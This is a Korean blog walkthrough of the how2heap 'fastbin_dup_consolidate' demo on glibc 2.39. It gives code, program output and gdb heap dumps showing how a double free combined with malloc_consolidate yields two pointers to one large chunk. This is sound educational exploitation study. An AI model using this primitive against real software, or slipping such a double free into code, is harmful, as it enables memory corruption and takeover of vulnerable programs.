콘텐츠로 건너뛰기

[how2heap/glibc2.39] fastbin_dup_consolidate

환경

Ubuntu GLIBC 2.39-0ubuntu8.4 / Ubuntu 24.04.1 LTS x86_64

요약

  1. tcache 7개를 전부 다채운다음, fastbin p1 할당. 여기서는 malloc(0x40) 사용함.
  2. free(p1) p1 할당해제.
  3. malloc_consolidate 함수 트리거를 위해 0x400 크기 이상의 청크를 p2에 할당. 여기서 할당받는 주소는 p1과 동일.
  4. 이전 p1을 한번더 free. (Double-free)
  5. 한번더 0x400 크기 이상의 청크를 할당. 이때, p2와 p3 주소 전부 동일하므로 deduplication 달성함.

내용

이 문서는 주로 malloc_consolidate 함수의 동작을 시연하고, 이를 이중 해제(double free)와 결합하여 동일한 대형 청크에 대한 두 개의 포인터를 얻는 방법을 설명하는 데 사용됩니다. 이는 일반적으로 prev_inuse 플래그 검사로 인해 직접적으로 수행하기 어려운 작업입니다. 흥미롭게도, 특정 크기의 tcache 청크에도 이 기법이 적용될 수 있습니다.

malloc_consolidate 함수는 기본적으로 모든 fastbin 청크를 인접한 청크와 병합하고, 이를 unsorted bin에 넣으며, 가능하다면 top 청크와도 병합합니다.

glibc 버전 2.35 기준으로, 이 함수는 다음의 다섯 가지 경우에만 호출됩니다:

  1. _int_malloc: 대형 청크가 할당될 때
  2. _int_malloc: 해당 크기의 bin이 없고 top 청크가 너무 작을 때
  3. _int_free: 청크 크기가 FASTBIN_CONSOLIDATION_THRESHOLD (65536) 이상일 때
  4. mtrim: 항상 호출
  5. __libc_mallopt: 항상 호출

우리는 첫 번째 경우에 초점을 맞출 것이므로, small bin에 속하지 않는 청크를 할당해야 합니다. 이는 해당 검사에서 ‘else’ 분기로 들어가려는 것이며, 따라서 청크 크기가 0x400 이상이어야 합니다 (즉, 대형 청크). 특히, 가장 큰 tcache 크기 청크는 0x410이므로, 청크 크기가 [0x400, 0x410] 범위에 있다면 이중 해제를 활용하여 tcache 크기 청크를 제어할 수 있습니다.

1.

tcache를 전부 다 채우고 fastbin에 할당하기 위해, 총 8번 할당시키고 처음 기준 나머지 7개를 free시킴.

이 기법은 malloc_consolidate와 이중 해제(double free)를 활용하여 tcache 내에서 동일한 청크에 대한 포인터를 중복할 수 있게 만듭니다. 이를 위해 먼저 tcache를 채워서 fastbin 사용을 강제합니다.

코드:

printf("This technique will make use of malloc_consolidate and a double free to gain a duplication in the tcache.\n");
	printf("Lets prepare to fill up the tcache in order to force fastbin usage...\n\n");

	void *ptr[7];

	for(int i = 0; i < 7; i++)
		ptr[i] = malloc(0x40);

	void* p1 = malloc(0x40);
	printf("Allocate another chunk of the same size p1=%p \n", p1);
	
	printf("Fill up the tcache...\n");
	for(int i = 0; i < 7; i++)
		free(ptr[i]);

결과:

This technique will make use of malloc_consolidate and a double free to gain a duplication in the tcache.
Lets prepare to fill up the tcache in order to force fastbin usage...

Allocate another chunk of the same size p1=0x5555555598e0
Fill up the tcache...
gdb-peda$ parseheap
addr                prev                size                 status              fd                bk 
0x555555559000      0x0                 0x290                Used                None              None
0x555555559290      0x0                 0x410                Used                None              None
0x5555555596a0      0x0                 0x50                 Freed        0x555555559              None
0x5555555596f0      0x0                 0x50                 Freed     0x55500000c3e9              None
0x555555559740      0x0                 0x50                 Freed     0x55500000c259              None
0x555555559790      0x0                 0x50                 Freed     0x55500000c209              None
0x5555555597e0      0x0                 0x50                 Freed     0x55500000c2f9              None
0x555555559830      0x0                 0x50                 Freed     0x55500000c2a9              None
0x555555559880      0x0                 0x50                 Freed     0x55500000cd19              None
0x5555555598d0      0x0                 0x50                 Used                None              None
gdb-peda$ heapinfo
(0x20)     fastbin[0]: 0x0
(0x30)     fastbin[1]: 0x0
(0x40)     fastbin[2]: 0x0
(0x50)     fastbin[3]: 0x0
(0x60)     fastbin[4]: 0x0
(0x70)     fastbin[5]: 0x0
(0x80)     fastbin[6]: 0x0
(0x90)     fastbin[7]: 0x0
(0xa0)     fastbin[8]: 0x0
(0xb0)     fastbin[9]: 0x0
                  top: 0x555555559920 (size : 0x206e0)
       last_remainder: 0x0 (size : 0x0)
            unsortbin: 0x0
(0x50)   tcache_entry[3](7): 0x555555559890 --> 0x555555559840 --> 0x5555555597f0 --> 0x5555555597a0 --> 0x555555559750 --> 0x555555559700 --> 0x5555555596b0

2.

fastbin에 해당되는 p1주소를 할당해제함.

p1 청크에 암호화된 fd가 적힘.

코드:

printf("Now freeing p1 will add it to the fastbin.\n\n");
free(p1);

결과:

Now freeing p1 will add it to the fastbin.
gdb-peda$ parseheap
addr                prev                size                 status              fd                bk 
0x555555559000      0x0                 0x290                Used                None              None
0x555555559290      0x0                 0x410                Used                None              None
0x5555555596a0      0x0                 0x50                 Freed        0x555555559              None
0x5555555596f0      0x0                 0x50                 Freed     0x55500000c3e9              None
0x555555559740      0x0                 0x50                 Freed     0x55500000c259              None
0x555555559790      0x0                 0x50                 Freed     0x55500000c209              None
0x5555555597e0      0x0                 0x50                 Freed     0x55500000c2f9              None
0x555555559830      0x0                 0x50                 Freed     0x55500000c2a9              None
0x555555559880      0x0                 0x50                 Freed     0x55500000cd19              None
0x5555555598d0      0x0                 0x50                 Freed        0x555555559              None
gdb-peda$ heapinfo
(0x20)     fastbin[0]: 0x0
(0x30)     fastbin[1]: 0x0
(0x40)     fastbin[2]: 0x0
(0x50)     fastbin[3]: 0x5555555598d0 --> 0x0
(0x60)     fastbin[4]: 0x0
(0x70)     fastbin[5]: 0x0
(0x80)     fastbin[6]: 0x0
(0x90)     fastbin[7]: 0x0
(0xa0)     fastbin[8]: 0x0
(0xb0)     fastbin[9]: 0x0
                  top: 0x555555559920 (size : 0x206e0)
       last_remainder: 0x0 (size : 0x0)
            unsortbin: 0x0
(0x50)   tcache_entry[3](7): 0x555555559890 --> 0x555555559840 --> 0x5555555597f0 --> 0x5555555597a0 --> 0x555555559750 --> 0x555555559700 --> 0x5555555596b0

3.

malloc_consolidate를 트리거하려면 대형 청크 크기(≥ 0x400)의 청크를 할당해야 합니다.

이는 요청 크기 기준으로는 ≥ 0x3f0에 해당합니다. 우리는 0x400 바이트를 요청할 것이며, 이는 청크 크기 0x410의 tcache 크기 청크를 제공합니다.

tcache 크기의 청크 생성된 p2 = 0x5555555598e0

먼저, malloc_consolidate는 fast 청크인 p1을 top과 병합합니다.

그 다음, p2는 그것보다 크거나 같은 자유 청크가 없기 때문에 top에서 할당됩니다. 따라서 p1 = p2입니다.

코드:

printf("To trigger malloc_consolidate we need to allocate a chunk with large chunk size (>= 0x400)\n");
        printf("which corresponds to request size >= 0x3f0. We will request 0x400 bytes, which will gives us\n");
        printf("a tcache-sized chunk with chunk size 0x410 ");
        void* p2 = malloc(CHUNK_SIZE);

        printf("p2=%p.\n", p2);
        
        printf("\nFirst, malloc_consolidate will merge the fast chunk p1 with top.\n");
        printf("Then, p2 is allocated from top since there is no free chunk bigger (or equal) than it. Thus, p1 = p2.\n");

        assert(p1 == p2);

결과:

To trigger malloc_consolidate we need to allocate a chunk with large chunk size (>= 0x400)
which corresponds to request size >= 0x3f0. We will request 0x400 bytes, which will gives us
a tcache-sized chunk with chunk size 0x410 p2=0x5555555598e0.

First, malloc_consolidate will merge the fast chunk p1 with top.
Then, p2 is allocated from top since there is no free chunk bigger (or equal) than it. Thus, p1 = p2.
We will double free p1, which now points to the 0x410 chunk we just allocated (p2).
gdb-peda$ parseheap
addr                prev                size                 status              fd                bk 
0x555555559000      0x0                 0x290                Used                None              None
0x555555559290      0x0                 0x410                Used                None              None
0x5555555596a0      0x0                 0x50                 Freed        0x555555559              None
0x5555555596f0      0x0                 0x50                 Freed     0x55500000c3e9              None
0x555555559740      0x0                 0x50                 Freed     0x55500000c259              None
0x555555559790      0x0                 0x50                 Freed     0x55500000c209              None
0x5555555597e0      0x0                 0x50                 Freed     0x55500000c2f9              None
0x555555559830      0x0                 0x50                 Freed     0x55500000c2a9              None
0x555555559880      0x0                 0x50                 Freed     0x55500000cd19              None
0x5555555598d0      0x0                 0x410                Used                None              None
gdb-peda$ heapinfo
(0x20)     fastbin[0]: 0x0
(0x30)     fastbin[1]: 0x0
(0x40)     fastbin[2]: 0x0
(0x50)     fastbin[3]: 0x0
(0x60)     fastbin[4]: 0x0
(0x70)     fastbin[5]: 0x0
(0x80)     fastbin[6]: 0x0
(0x90)     fastbin[7]: 0x0
(0xa0)     fastbin[8]: 0x0
(0xb0)     fastbin[9]: 0x0
                  top: 0x555555559ce0 (size : 0x20320)
       last_remainder: 0x0 (size : 0x0)
            unsortbin: 0x0
(0x50)   tcache_entry[3](7): 0x555555559890 --> 0x555555559840 --> 0x5555555597f0 --> 0x5555555597a0 --> 0x555555559750 --> 0x555555559700 --> 0x5555555596b0

4.

우리는 이제 p1을 이중 해제(double free)할 것입니다. 이 p1은 방금 할당한 0x410 크기의 청크(p2)를 가리키고 있습니다.

이 청크는 현재 tcache에 있거나(또는 처음에 0x410보다 큰 청크 크기를 선택했다면 top과 병합되었을 수도 있습니다).

따라서 p1은 이중 해제되었고, p2는 해제되지 않았지만 이제는 free 청크를 가리키고 있습니다.

코드:

printf("We will double free p1, which now points to the 0x410 chunk we just allocated (p2).\n\n");
        free(p1); // vulnerability (double free)
        printf("It is now in the tcache (or merged with top if we had initially chosen a chunk size > 0x410).\n");

        printf("So p1 is double freed, and p2 hasn't been freed although it now points to a free chunk.\n");

결과:

We will double free p1, which now points to the 0x410 chunk we just allocated (p2).

It is now in the tcache (or merged with top if we had initially chosen a chunk size > 0x410).
So p1 is double freed, and p2 hasn't been freed although it now points to a free chunk.
gdb-peda$ parseheap
addr                prev                size                 status              fd                bk 
0x555555559000      0x0                 0x290                Used                None              None
0x555555559290      0x0                 0x410                Used                None              None
0x5555555596a0      0x0                 0x50                 Freed        0x555555559              None
0x5555555596f0      0x0                 0x50                 Freed     0x55500000c3e9              None
0x555555559740      0x0                 0x50                 Freed     0x55500000c259              None
0x555555559790      0x0                 0x50                 Freed     0x55500000c209              None
0x5555555597e0      0x0                 0x50                 Freed     0x55500000c2f9              None
0x555555559830      0x0                 0x50                 Freed     0x55500000c2a9              None
0x555555559880      0x0                 0x50                 Freed     0x55500000cd19              None
0x5555555598d0      0x0                 0x410                Freed        0x555555559              None
gdb-peda$ heapinfo
(0x20)     fastbin[0]: 0x0
(0x30)     fastbin[1]: 0x0
(0x40)     fastbin[2]: 0x0
(0x50)     fastbin[3]: 0x0
(0x60)     fastbin[4]: 0x0
(0x70)     fastbin[5]: 0x0
(0x80)     fastbin[6]: 0x0
(0x90)     fastbin[7]: 0x0
(0xa0)     fastbin[8]: 0x0
(0xb0)     fastbin[9]: 0x0
                  top: 0x555555559ce0 (size : 0x20320)
       last_remainder: 0x0 (size : 0x0)
            unsortbin: 0x0
(0x50)   tcache_entry[3](7): 0x555555559890 --> 0x555555559840 --> 0x5555555597f0 --> 0x5555555597a0 --> 0x555555559750 --> 0x555555559700 --> 0x5555555596b0
(0x410)   tcache_entry[63](1): 0x5555555598e0

4.

우리는 0x400 바이트를 요청할 것입니다. 이는 현재 tcache bin에 있는 0x410 크기의 청크를 우리에게 줄 것입니다.

p2와 p1은 여전히 그 청크를 가리키고 있습니다.

이제 우리는 직접 해제하지 않은 두 개의 포인터(p2와 p3)를 갖게 되었고, 둘 다 동일한 tcache 크기의 청크를 가리키고 있습니다.

p2 = 0x5555555598e0, p3 = 0x5555555598e0

우리는 중복(deduplication)을 달성했습니다!

참고: 이 중복은 더 큰 청크 크기에서도 작동했을 것입니다.

이 경우 청크들은 단지 tcache bin이 아니라 top에서 가져와졌을 뿐이며, 나머지 동작은 동일합니다.

이것은 꽤 멋진 일입니다. 왜냐하면 큰 크기의 청크들은 일반적으로 PREV_INUSE 검사로 인해 직접적인 double free에 저항하기 때문에 중복시키기 어렵기 때문입니다.

코드:

    printf("We will request 0x400 bytes. This will give us the 0x410 chunk that's currently in\\n");
    printf("the tcache bin. p2 and p1 will still be pointing to it.\\n");
    void *p3 = malloc(CHUNK_SIZE);

    assert(p3 == p2);

    printf("We now have two pointers (p2 and p3) that haven't been directly freed\n");
        printf("and both point to the same tcache sized chunk. p2=%p p3=%p\n", p2, p3);
        printf("We have achieved duplication!\n\n");

        printf("Note: This duplication would have also worked with a larger chunk size, the chunks would\n");
        printf("have behaved the same, just being taken from the top instead of from the tcache bin.\n");
        printf("This is pretty cool because it is usually difficult to duplicate large sized chunks\n");
        printf("because they are resistant to direct double free's due to their PREV_INUSE check.\n");

결과:

We will request 0x400 bytes. This will give us the 0x410 chunk that's currently in
the tcache bin. p2 and p1 will still be pointing to it.
We now have two pointers (p2 and p3) that haven't been directly freed
and both point to the same tcache sized chunk. p2=0x5555555598e0 p3=0x5555555598e0
We have achieved duplication!

Note: This duplication would have also worked with a larger chunk size, the chunks would
have behaved the same, just being taken from the top instead of from the tcache bin.
This is pretty cool because it is usually difficult to duplicate large sized chunks
because they are resistant to direct double free's due to their PREV_INUSE check.
gdb-peda$ parseheap
addr                prev                size                 status              fd                bk 
0x555555559000      0x0                 0x290                Used                None              None
0x555555559290      0x0                 0x410                Used                None              None
0x5555555596a0      0x0                 0x50                 Freed        0x555555559              None
0x5555555596f0      0x0                 0x50                 Freed     0x55500000c3e9              None
0x555555559740      0x0                 0x50                 Freed     0x55500000c259              None
0x555555559790      0x0                 0x50                 Freed     0x55500000c209              None
0x5555555597e0      0x0                 0x50                 Freed     0x55500000c2f9              None
0x555555559830      0x0                 0x50                 Freed     0x55500000c2a9              None
0x555555559880      0x0                 0x50                 Freed     0x55500000cd19              None
0x5555555598d0      0x0                 0x410                Freed        0x555555559              None
gdb-peda$ heapinfo
(0x20)     fastbin[0]: 0x0
(0x30)     fastbin[1]: 0x0
(0x40)     fastbin[2]: 0x0
(0x50)     fastbin[3]: 0x0
(0x60)     fastbin[4]: 0x0
(0x70)     fastbin[5]: 0x0
(0x80)     fastbin[6]: 0x0
(0x90)     fastbin[7]: 0x0
(0xa0)     fastbin[8]: 0x0
(0xb0)     fastbin[9]: 0x0
                  top: 0x555555559ce0 (size : 0x20320)
       last_remainder: 0x0 (size : 0x0)
            unsortbin: 0x0
(0x50)   tcache_entry[3](7): 0x555555559890 --> 0x555555559840 --> 0x5555555597f0 --> 0x5555555597a0 --> 0x555555559750 --> 0x555555559700 --> 0x5555555596b0